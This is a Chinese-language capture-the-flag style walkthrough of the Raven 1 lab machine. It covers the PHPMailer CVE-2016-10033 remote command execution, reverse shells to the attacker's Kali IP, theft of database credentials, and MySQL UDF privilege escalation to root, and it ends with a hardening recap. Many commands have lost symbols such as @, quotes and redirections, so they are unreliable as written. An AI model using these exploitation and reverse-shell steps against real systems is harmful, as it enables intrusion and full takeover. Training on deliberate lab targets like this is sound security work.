VulnHub靶机Raven 1实战：从PHPMailer RCE到MySQL UDF提权

如果你跟着VulnHub系列一路打到这一篇应该会有个感受纯堆漏洞的靶场玩多了容易飘真正练手的是那种能把整个入侵链路串起来的靶场。Raven 1就是后者。它是VulnHub上知名度很高的一台入门级靶机虚构了一家叫Raven Security的公司站点表面是一个平平无奇的WordPress网站实际藏着一整套可以完整实操的攻击链路——从端口扫描、目录枚举、CMS指纹识别到PHPMailer远程命令执行再到通过MySQL UDF提权拿到Root最后收掉三个flag。适合有一定渗透基础、想系统梳理Web渗透到提权完整思路的人也适合新手在打完基础靶场之后把它当作一次“独立项目”来练手。整个靶场的搭建也不复杂下载ova镜像导入VMware再准备一台同网段的Kali攻击机两条命令就能发现靶机。下面我会把每一步的命令和关键输出都贴出来按着走基本不会卡壳。文中出现的IP是我环境的示例值你实际打的时候记得替换成自己的IP。1. 环境准备与靶场搭建1.1 下载镜像并导入VMware打开VulnHub官网在搜索框输入Raven选择Raven 1下载ova镜像即可。ova是打包好的虚拟机文件不需要自己装系统下载之后直接用VMware Workstation导入。VMware里操作路径是文件 - 打开选中下载的.ova文件虚拟机名称和存储路径随意。导入完成后先不要急着开机编辑虚拟机设置确认内存至少给到1GB、网络模式选NAT。NAT模式下靶机和你的Kali会处在同一个VMnet8网段主机之间能互相访问但是和外部物理网络隔离这种环境做渗透测试最干净不容易受真实局域网里的设备干扰。启动靶机之后屏幕上会进入一个Debian系的登录界面。这里不需要登录靶机开机自动获得IP我们直接把它当远程目标打。1.2 攻击机配置与主机发现Kali这边先打开终端看自己的IPip a正常情况下Kali会拿到一个192.168.x.x的地址假设是192.168.1.104。靶机开机后也会拿到同网段的IP只是你不知道具体是多少需要主动探测一下。同网段存活主机扫描我习惯用netdiscoversudo netdiscover -r 192.168.1.0/24输出的列表里厂商列显示VMware的那台设备大概率就是靶机。如果列表刷得太快可以先CtrlC暂停然后找刚才记下的地址。也可以用nmap做一次快速Ping扫描效果一样nmap -sn 192.168.1.0/24扫描结果里除了Kali自己、网关和VMware的DHCP地址多出来的那个陌生IP就是Raven 1。假设扫出来是192.168.1.108先ping一下确认连通性再继续ping -c 4 192.168.1.108能通环境就绪接下来进入正题。1.3 开工前确认三件事这个靶场本身不挑工具但开工前有几个环境点建议先确认避免后面卡壳Kali和靶机必须同网段不同网段的话VMware网络编辑器里重置一下VMnet8。浏览器能直接访问http://靶机IP如果页面一直转圈检查靶机是否完全启动了。后面会用到一个Python脚本和反弹ShellKali上的防火墙或者代理状态保持默认即可不要干扰监听端口。这些前置都正常信息收集就可以开始了。2. 信息收集端口扫描与目录枚举2.1 端口服务识别拿到目标IP第一步永远是全端口扫描。Raven 1是个轻量靶机端口不会很多但养成全端口扫描的习惯很重要尤其是以后打真实授权目标时很多服务都藏在非常见端口后面。nmap -sC -sV -p- -oN raven_nmap.txt 192.168.1.108参数解释一下-sC 加载默认NSE脚本能顺便收集服务版本、banner、HTTP标题等信息。-sV 做服务版本探测。-p- 扫全部65535个端口虽然慢一点但信息完整。-oN 把结果存成文本方便后面回翻。我这次扫完的结果是22/tcp open ssh OpenSSH 6.7p1 Debian 5deb8u8 80/tcp open http Apache httpd 2.4.10 (Debian)对外开放面就SSH和HTTP两个口子。SSH是OpenSSH 6.7这是Debian Jessie上比较老的版本理论上可能存在CVE-2016-6210这类用户名枚举问题但在这个靶场里不是主路。真正的攻击面是Apache上跑的Web应用。2.2 Web目录扫描与CMS指纹识别先用浏览器访问一下主页。页面会定位到WordPress站点顶部导航是Home、About、Contact这些普通企业站该有的东西从页脚或源码里能看到WordPress的印记。确认是WordPress之后用工具做指纹识别whatweb http://192.168.1.108输出会直接给出CMS类型、Web服务器、语言等。WordPress版本的识别更专业的工具是WPScanwpscan --url http://192.168.1.108 --enumerate vp,u --api-token 你的tokenWPScan用起来比较简单--enumerate后面跟的vp是扫描已安装的插件漏洞u是枚举用户。没有API token也可以跑只是部分漏洞库匹配功能受限不影响信息收集。接下来是目录枚举。这一步是想找出那些搜索引擎没收录、页面也没超链接的隐藏路径。我用的是gobustergobuster dir -u http://192.168.1.108 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak -t 50盯着输出看很快会注意到两个目录出现得很有价值/wordpress 和 /vendor。前者说明WordPress不是装在根目录的后者就很耐人寻味了——一个正常企业网站根目录下为什么会有vendor目录浏览器直接访问http://192.168.1.108/vendor会发现这是一个完全开放的目录列表里面躺着PHPMailer的源码文件而且从文件名和目录结构能明显看出PHPMailer版本落在5.2.17及更早的范围。这个信息极其关键它是后面所有攻击的支点。2.3 为什么PHPMailer是整个靶场的突破口先理一下这个靶场的攻击入口逻辑。很多打靶场的人习惯一上来就对着WordPress猛扫但Raven 1的WordPress配置其实很干净真正的问题出在Contact页面背后的邮件发送逻辑上。首页的Contact页面表单提交之后服务器端会用PHPMailer发一封邮件。PHPMailer在5.2.17及以前的版本里存在一个著名的命令注入漏洞编号CVE-2016-10033。这个漏洞的本质是什么呢PHPMailer底层调用的是PHP的mail()函数而mail()函数在Linux上默认通过sendmail发送信件。PHPMailer会把发件人邮箱地址以命令行参数的形式传给sendmail如果发件人邮箱里混入了一部分特殊字符和参数sendmail在执行时就会“额外”执行你构造的命令。举一个简化思路的例子adminexample.com -OQueueDirectory/tmp -X/var/www/html/shell.php这一串里-O改变了sendmail的运行选项-X把日志写到指定文件。如果能把一段PHP代码注入到日志内容里那么写入的shell.php文件就成了一个可访问的WebShell。更直接的利用方式是用反弹Shell的payload让服务器主动连回你的Kali。你发现没有这个漏洞的触发前提是PHPMailer版本够老、站点使用了mail()发送功能、有一个你能够控制的参数被传给了PHPMailer。Raven 1三条全占所以突破口非常清晰就是构造邮件参数触发命令注入。3. PHPMailer RCE从邮件表单到反弹Shell3.1 漏洞利用脚本准备手动构造PHPMailer的完整利用流程比较繁琐容易被转义和参数拼接恶心到。社区里已经有一个流传很广的Python利用脚本叫php_mailer_exploit.pyRaven系列靶场基本都是用它一把梭。打开Kali终端用searchsploit查一下searchsploit phpmailer能看到CVE-2016-10033相关的Exp记录直接复制到当前目录或者按路径运行都行。脚本的运行参数一般长这样python3 php_mailer_exploit.py --url http://192.168.1.108/contact.php --email attackerexample.com --ip 192.168.1.104 --port 4444参数含义--url 指向存在PHPMailer的邮件提交接口也就是Contact页面的处理脚本。--email 是任意一个看起来合法的发件人邮箱脚本会把它作为注入点。--ip和--port 是你的Kali地址和监听端口用于反弹Shell。在运行脚本之前Kali先开一个监听nc -lvnp 4444监听开好再执行脚本不要让监听空转太久有些网络环境会对空闲连接做清理。3.2 构造Payload并触发漏洞脚本执行的过程中会向contact.php发送一个精心构造的POST请求把原本的mail()调用变成一次反向连接尝试。如果一切正常你会在Kali的nc窗口里看到来自靶机的连接屏幕上出现一串形如connect to [192.168.1.104] from 192.168.1.108的日志。这时候你就拿到了一个运行在Web服务用户权限下的Shell通常是www-data。这个权限不高但已经能够读取大部分Web目录文件、查看站点配置并且为后续横向移动和提权做准备。这里有个小坑值得提前说脚本有时执行完页面会返回邮件发送失败或者页面直接超时这不代表利用失败。PHPMailer的payload本身就会让mail()的行为变得异常反弹Shell是否连上以nc窗口有没有反应为准不要被页面上的错误提示误导。3.3 获得交互式Shell与第一个Flag刚反弹回来的Shell是非交互式的按上下键会乱码用vim或者mysql这种交互式程序也很痛苦。先把它升级成标准交互式终端python3 -c import pty;pty.spawn(/bin/bash)然后在Kali的监听窗口里按CtrlZ把当前任务挂起再执行stty raw -echo; fg回到Shell后执行一下export TERMxterm这样CtrlC、CtrlL、清屏、Tab补全这些都正常了。交互式Shell解决了后面操作会舒服很多。先看看当前web目录下的内容cd /var/www/html ls -la你会发现flag1.txt静静地躺在目录里cat一下就能拿到第一个flagcat flag1.txt这就是整个靶场的第一个里程碑。但这里只是Web层沦陷离最终Root还有距离。4. 数据库凭据与横向信息梳理4.1 从wp-config.php提取数据库凭据拿到网站的Shell之后第一件该做的事情不是急着提权而是把网站源码里所有配置文件翻一遍。真实渗透测试里数据库口令、API密钥、第三方服务凭据大量都藏在配置文件里。WordPress的配置文件是wp-config.php在这台靶机上路径是/var/www/html/wordpress/wp-config.phpcat /var/www/html/wordpress/wp-config.php文件里DB_USER、DB_PASSWORD和DB_HOST三行信息直接暴露了数据库连接凭据。让我记忆很清楚的是Raven 1把数据库口令直接写成了类似于Rv3nSecurity这样可读性极强的密码用户名是root。这个发现意味着你已经拥有了MySQL的root账号口令接下来要做的就是用这个凭据去连数据库。4.2 连接MySQL枚举数据靶机上如果没装mysql客户端可以直接用交互式php来调但这个靶机一般自带了mysql命令。直接连接mysql -u root -pRv3nSecurity注意-p和密码之间不要有空格。连接成功后先看库show databases;重点看wordpress库里面通常有用户表use wordpress; show tables; select user_login,user_pass from wp_users;wp_users表能看到后台管理员的用户名和密码哈希虽然哈希破解不是这条攻击链的必选项但记录了总没坏处。再执行一下版本查询select version();MySQL的版本在后续UDF提权时是有用的不同版本对UDF函数的返回值定义有差异先记下来。4.3 排查系统提权线索数据库信息拿到之后先不要急着用UDF把常规提权路径也过一遍免得走弯路。在Shell里执行id uname -a cat /etc/os-release当前用户是www-data系统是Debian Jessie。再看看sudo权限sudo -l如果显示需要密码说明sudo这条暂时走不通。再扫一遍SUID文件find / -perm -4000 -type f 2/dev/null常见的SUID名单里有ping、su、mount这类系统自带程序没有明显的自定义提权点。到这里基本可以判断普通内核漏洞、SUID滥用、sudo配置错误这三条常规提权路都堵死了。但这时你手里还有一张牌——MySQL的root口令。下一步的关键是确认mysqld进程以什么身份运行ps aux | grep mysqld注意看输出里第一列的用户名。如果显示的是root那就意味着MySQL服务进程本身是root权限我们后续通过UDF创建的函数也会以root权限执行系统命令这一步是整条提权链路的决定性条件。Raven 1的实际环境里mysqld就是以root运行这给UDF提权铺平了路。5. 提权实战MySQL UDF到Root5.1 UDF提权原理与前置条件UDF是User Defined Function用户自定义函数。MySQL允许你加载一个编译好的共享库文件.so然后在SQL语句里调用库文件里定义的函数。如果这个函数内部执行了系统命令那么命令就会以mysqld进程的运行用户身份去执行。当mysqld是以root身份运行的时候你在SQL里调一次sys_exec就相当于在系统里以root身份执行了一次命令。这就完成了从数据库权限到系统权限的跨越。UDF提权的四个前置条件已经拿到MySQL某个高权限账号的口令最好是root账号。知道MySQL的plugin目录在哪并且有权限写入.so文件。用于编译共享库的架构和靶机一致。目标系统允许加载UDF没有禁用相关功能。常见UDF函数有两个sys_exec执行命令但不回显sys_eval执行命令并把输出返回给SQL结果集。两个都创建提权和读flag都能覆盖。5.2 编译并上传UDF共享库在Kali上先准备源码。比较通用的方式是从GitHub拉取lib_mysqludf_sys项目或者用一些公开的C源码。项目准备好之后先安装MySQL开发头文件sudo apt update sudo apt install default-libmysqlclient-dev然后编译共享库gcc -shared -fPIC -o mysqludf.so mysqludf.c -I/usr/include/mysql编译完成后一定要检查架构和格式file mysqludf.so在Kali上默认会编译出64位的ELF。回到靶机的Shell里也执行一下uname -m确认靶机架构和so文件一致都是x86_64才能接着往下走。把so文件传到靶机这一步最简单的方式是在Kali当前目录起一个HTTP服务python3 -m http.server 80靶机上用wget拉取cd /tmp wget http://192.168.1.104/mysqludf.so拉下来的文件不要急着加载先确认文件完整ls -l mysqludf.so file mysqludf.so5.3 写入plugin目录并创建恶意函数这个so文件默认放在/tmpMySQL不会从那里加载。需要把它写到MySQL的plugin目录。先看一下plugin目录路径用数据库查询SHOW VARIABLES LIKE plugin%;一般会返回/usr/lib/mysql/plugin/。接下来通过MySQL的load_file加into dumpfile把so文件写到plugin目录SELECT load_file(/tmp/mysqludf.so) INTO DUMPFILE /usr/lib/mysql/plugin/mysqludf.so;这一步如果执行成功就得到了一个可以被MySQL加载的共享库文件。然后创建自定义函数CREATE FUNCTION sys_exec RETURNS int SONAME mysqludf.so; CREATE FUNCTION sys_eval RETURNS string SONAME mysqludf.so;先测试一下sys_eval能不能正常执行命令SELECT sys_eval(id);如果返回结果里有uid0(root)说明函数生效了你现在已经可以通过数据库执行任意root命令。5.4 获取Root Shell与最终控制权能用root权限执行命令之后反弹一个交互式root Shell过来是标准操作。Kali新开一个监听端口比如5555nc -lvnp 5555然后在MySQL里执行SELECT sys_exec(bash -c bash -i /dev/tcp/192.168.1.104/5555 01);这里有个细节要解释清楚dash不支持/dev/tcp这种重定向语法所以被执行的命令必须显式调用bash不能直接写bash -i那一段而不带bash -c。如果反弹没有成功可以先执行sys_eval(id)确认命令确实执行了再排查路径和引号问题。如果连反弹Shell这一步也嫌麻烦想快速验证root权限直接读最终flag也是一样的效果SELECT sys_eval(cat /root/flag3.txt);返回值里直接就是第三个flag的内容。6. 最终Flag与攻击链复盘6.1 拿到三个Flag的完整路径到这一台靶机三个flag的位置分别是/var/www/html/flag1.txt通过WebShell直接读取。/var/www/flag2.txt在Web目录上级目录里拿到Shell之后ls -la /var/www就能看到。/root/flag3.txt只有root权限才能读取。三个flag的获取逐步递进正好匹配整条攻击链的三个阶段初始入侵、横向信息收集、垂直提权。能全部拿下来说明你对这台靶机的攻击路径已经完整掌握。6.2 从防守视角复盘这条攻击链打靶场不只是为了拿flag更值得做的是把自己放到防守方位置看看这台机器到底哪一步出了问题。第一处是/vendor目录完全暴露。源码组件目录本就不该出现在Web根目录下更不该允许目录浏览这直接让攻击者看穿了PHPMailer的版本信息。第二处是PHPMailer版本过低。CVE-2016-10033在2016年底就已经公开Raven 1的环境是在漏洞公布很久之后仍然没有升级属于典型的补丁管理缺失。第三处是数据库权限失控。Web应用使用MySQL的root账号连接且密码直接写在配置文件里等于一个入口拿到后整个数据库层都没有隔离。第四处是mysqld以root身份运行。数据库服务通常应该用最小权限账号运行一旦被UDF提权整个操作系统直接沦陷。把这四点反过来看就是一套很实际的加固方案。真实环境里想要不被这样打穿至少要做到Web根目录禁止目录浏览、第三方组件及时升级、数据库账号按应用分权并设置强口令、MySQL服务进程使用独立低权限用户运行。7. 常见问题与避坑记录7.1 问题排查速查表打Raven 1的时候容易踩的坑我整理成了一张速查表建议收藏。症状可能原因解决思路浏览器打不开靶机页面Kali和靶机不在同网段把两张网卡都设成NAT用netdiscover重新找IP目录扫描不到/vendor字典不够全或目标URL写错换成dirsearch加php、txt、bak扩展名再扫一遍PHPMailer exploit执行后无反应contact链接路径不对或payload里的URL没带全确认是/contact.php用浏览器的F12看表单提交地址反弹Shell连上就秒断非交互Shell不稳定用python3 pty升级交互Shell后再继续load_file返回NULLsecure_file_priv限制了读取路径检查MySQL配置必要时换其他方式上传so文件create function报错.so架构和MySQL版本不匹配file命令检查架构确认编译环境和靶机一致sys_eval提示函数未定义函数名或so文件名拼写不一致SHOW FUNCTIONS检查已注册列表重新创建7.2 我实际踩过的几个坑第一次打这台靶机我在PHPMailer利用那一步卡了很久。原因是脚本里的URL我一开始填成了http://192.168.1.108/少写了contact.php这个具体路径。PHPMailer的漏洞触发点在邮件处理脚本上不是WordPress首页路径差一个字符整个payload就打在了一堵空气墙上。UDF编译那个环节我也吃过亏。Kali默认的头文件可能不完整如果编译时报缺少mysql.h这类错误先别急着改代码用apt装好default-libmysqlclient-dev再重新编译基本都能解决。另一个要注意的是上传到/tmp的so文件MySQL执行load_file时有个限制默认情况下load_file只能读取系统用户有权限访问的文件。/tmp下的文件权限是644的话通常没问题。如果返回NULL可以检查一下文件属主和权限或者把so文件放到Web目录里再用load_file读效果一样。最后一个建议拿到非交互Shell后一定要先做交互式终端升级再往下走。很多人打到一半发现vim没法用、mysql上下键错乱其实就是没做这一步。这个习惯养成了后面打任何靶场都会顺手很多。Raven 1这台靶机整体难度不大但攻击链完整从Web层打到数据库层再打到系统层的思路在真实渗透项目里非常常见。尤其是UDF提权很多人在CTF里只听过没见过真的编译so再加载的过程这个靶场刚好补上一课。过了Raven 1之后再去看Raven 2很多思路是相通的只是入口和利用方式换了个花样。先把基本功打扎实再追求花活。